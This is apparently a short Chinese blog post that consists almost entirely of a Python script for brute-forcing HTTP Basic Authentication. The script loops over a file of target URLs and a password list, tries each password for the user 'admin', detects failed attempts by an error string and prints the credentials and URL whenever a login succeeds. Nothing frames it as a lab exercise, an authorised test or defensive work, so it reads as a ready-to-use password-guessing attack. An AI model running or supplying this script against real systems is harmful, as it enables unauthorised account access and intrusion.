pyhton接口猜用户登录和密码


import requests
import base64
NUM =0
# 读取 URL 文件内容并生成 URL 列表
with open("urlall.txt", 'r') as file:
    urls = [url.strip() for url in file.readlines() if url.strip()]

# 读取密码文件内容并生成密码列表
with open("password.txt", 'r') as file:
    passwords = [password.strip() for password in file.readlines()]

# 创建 Session 对象
session = requests.Session()

# 遍历 URL 列表和密码列表
for url in urls:
    for password in passwords:
        newpassword = "admin:" + password
        encoded_bytes = base64.b64encode(newpassword.encode())
        encoded_string = encoded_bytes.decode()
        head = {"Authorization": f"Basic {encoded_string}"}
        # 发送请求
        res = session.get(url=url, headers=head)
        print(res.text)
        xml_to_check = '401errorpassword'
        # 检查响应并输出结果
        if xml_to_check in res.text:
            NUM+=1
            print(f"失败次数 ",NUM)
        else:
            print("成功",{encoded_string},{url})

你可能感兴趣的:(python,python)